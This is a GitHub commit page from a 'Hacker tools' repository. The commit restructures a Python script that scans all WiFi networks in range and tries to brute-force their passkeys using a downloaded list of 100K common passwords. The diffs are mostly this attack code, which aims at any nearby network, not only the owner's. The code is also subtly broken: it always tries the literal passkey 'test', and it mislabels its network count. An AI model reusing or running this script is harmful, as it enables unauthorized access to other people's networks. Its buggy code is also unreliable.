Skip to content

Commit

Permalink
rename project and prepare it for next stuffs
Browse files Browse the repository at this point in the history
  • Loading branch information
madeindjs committed Aug 21, 2016
1 parent eec8eb8 commit 86900e0
Show file tree
Hide file tree
Showing 4 changed files with 66 additions and 42 deletions.
49 changes: 10 additions & 39 deletions __main__.py
Original file line number Diff line number Diff line change
@@ -1,48 +1,19 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import urllib2

from wifi import Cell, Scheme, exceptions

# need `sudo` to show all networks
if __name__ == '__main__':

import argparse

import wifi_bruteforce

def main():

# download most used passwords on github.com and build a dict
print("Fetch top 100K most used passwords on Github...")
url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/10_million_password_list_top_100000.txt"
response = urllib2.urlopen( url )
txt = response.read()
passwords = txt.splitlines()
parser = argparse.ArgumentParser()
parser.add_argument("-w", "--wifi_brute_force", action="store_true", help="Try to brute force all wifi detected by this device")
args = parser.parse_args()

# get networks and print stats
networks = Cell.all('wlan0')
nb_loops = len(passwords)*len(networks)
print("{} networks founded. The programs will loop {} times!!".format(
len(passwords) , nb_loops ))
if args.wifi_brute_force:
wifi_bruteforce.start()

# begin to loop
nb_test = 0

for password in passwords:

for cell in networks:

try:
scheme = Scheme.for_cell('wlan0', 'home', cell, 'test')
scheme.activate()
print("Connect to {} with `{}` passkey works!!".format(cell, 'test'))
sys.exit(0)
except exceptions.ConnectionError as e:
pass
finally:
nb_test += 1

sys.stdout.write('\r{} / {}'.format( nb_test, nb_loops ))
sys.stdout.flush()

print("you are not lucky :'(")

if __name__ == '__main__':
main()
11 changes: 8 additions & 3 deletions readme.md
Original file line number Diff line number Diff line change
@@ -1,10 +1,15 @@
Wifi BruteForce
=========
Hacker tools
========

My personnals test in networks hacks.

WiFi Bruteforce
-----------------------

A **Python** script to find all Wifi Networks in the area and try the
[100K most used passwords](https://github.com/danielmiessler/SecLists) on them.

## TODO:
### TODO:

* add a percentage
* send on pip
Expand Down
48 changes: 48 additions & 0 deletions wifi_bruteforce.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import urllib2

from wifi import Cell, Scheme, exceptions

# need `sudo` to show all networks
def start():




# download most used passwords on github.com and build a dict
print("Fetch top 100K most used passwords on Github...")
url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/10_million_password_list_top_100000.txt"
response = urllib2.urlopen( url )
txt = response.read()
passwords = txt.splitlines()

# get networks and print stats
networks = Cell.all('wlan0')
nb_loops = len(passwords)*len(networks)
print("{} networks founded. The programs will loop {} times!!".format(
len(passwords) , nb_loops ))

# begin to loop
nb_test = 0

for password in passwords:

for cell in networks:

try:
scheme = Scheme.for_cell('wlan0', 'home', cell, 'test')
scheme.activate()
print("Connect to {} with `{}` passkey works!!".format(cell, 'test'))
sys.exit(0)
except exceptions.ConnectionError as e:
pass
finally:
nb_test += 1

sys.stdout.write('\r{} / {}'.format( nb_test, nb_loops ))
sys.stdout.flush()

print("you are not lucky :'(")

Binary file added wifi_bruteforce.pyc
Binary file not shown.

0 comments on commit 86900e0

Please sign in to comment.